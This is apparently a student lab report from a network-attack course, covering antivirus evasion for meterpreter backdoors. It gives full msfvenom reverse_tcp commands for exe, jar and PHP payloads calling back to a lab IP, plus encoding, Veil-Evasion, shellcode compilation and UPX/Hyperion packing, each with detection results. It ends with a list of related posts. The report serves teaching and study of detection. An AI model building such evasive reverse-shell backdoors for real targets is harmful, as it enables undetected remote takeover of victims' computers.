2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
- 使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。

- 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
- Virscan结果如下:

可见不加任何处理的后门程序能够被大多数杀软检测到 - 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe - 经过一次编码后的文件扫描结果如下

- 十次编码使用命令:
-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe

- 扫描结果如下:

- 多次编码对免杀没有太大的效果。
2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar

- 扫描结果如下

3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php

- 扫描结果如下

(php是世界上最好的语言!!!!!狗头.jpg)
4. 使用veil-evasion生成后门程序及检测
安装veil
- 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用
sudo apt-get install veil命令安装Veil - 之后用
veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间: - 因为网络连接问题和系统不兼容,所以出现了很多问题
- 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
- 然后再用
veil打开veil,输入y继续安装直至完成。效果如下:

- 用
use evasion命令进入Evil-Evasion

- 输入命令
use c/meterpreter/rev_tcp.py进入配置界面

- 设置反弹连接IP,命令为:
set LHOST 192.168.1.102,注意此处的IP是KaliIP - 设置端口,命令为:
set LPORT 5317

- 输入
generate生成文件,接着输入你想要playload的名字:veil_c_5317

- 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行
- 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;

- 创建一个文件
20165317.c,然后将unsigned char buf[]赋值到其中 - 使用命令:
i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件; - 扫描结果如下

6.加壳
使用压缩壳(UPX)
- 给之前的20165317.exe加个壳得到nxy_upx.exe:

- 扫描结果如下:

使用加密壳Hyperion - 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录中 - 进入目录
/usr/share/windows-binaries/hyperion/中 - 输入命令
wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳 - (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
- 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题
- 杀软是如何检测出恶意代码的?
最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。 - 免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测 - 免杀的基本方法有哪些?
免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。
感想与体会
本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- poj 2155 matrix 二维线段树 线段树套线段树
题意 一个$n*n$矩阵,初始全为0,每次翻转一个子矩阵,然后单点查找 题解 任意一种能维护二维平面的数据结构都可以 我这里写的是二维线段树,因为四分树的写法复杂度可能会退化,因此考虑用树套树实现二维 ...
- 【easy】206. Reverse Linked List 链表反转
链表反转,一发成功~ /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; ...
- 手把手教你写vue插件并发布(一)
vue的插件开发 这篇文章较长,需要一定的阅读时间.这里有一份改善版本的插件笔记,在一个项目下完成开发.测试.发布的全过程.https://www.cnblogs.com/adouwt/p/96555 ...
- 51nod--1079 中国剩余定理
题目: 1079 中国剩余定理 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 收藏 关注 一个正整数K,给出K Mod 一些质数的结果,求符合条件的最小的K.例如,K ...
- liunx 修改ssh 端口22
vim /etc/ssh/sshd_config 找到Port 22 添加 Port 5002 重启sshd /bin/systemctl restart sshd.service 防火墙释放5 ...
- centos7中设置nginx的systemctl启动方式
1.建立服务文件 (1)文件路径 vim /usr/lib/systemd/system/nginx.service (2)服务文件内容 [Unit] Description=nginx - high ...
- java 根据Url下载对应的文件到指定位置,读txt文件获取url
package test; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; im ...
- Python学习笔记九
Python学习笔记之九 为什么要有操作系统 管理硬件,提供接口. 管理调度进程,并且将多个进程对硬件的竞争变得有序. 操作系统发展史 第一代计算机:真空管和穿孔卡片 没有操作系统,所有的程序设计直接 ...
- drop、truncate和delete的区别
TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同:二者均删除表中的全部行.但 TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源 ...
- ECMAScript6 入门-let与const命令
块级作用域 1:let命令声明的变量只在let命令所在的代码块有效--简而言之 大括号既是代码块,也就是说存在块级作用域了. { let a =10; var b =1; } a // Referen ...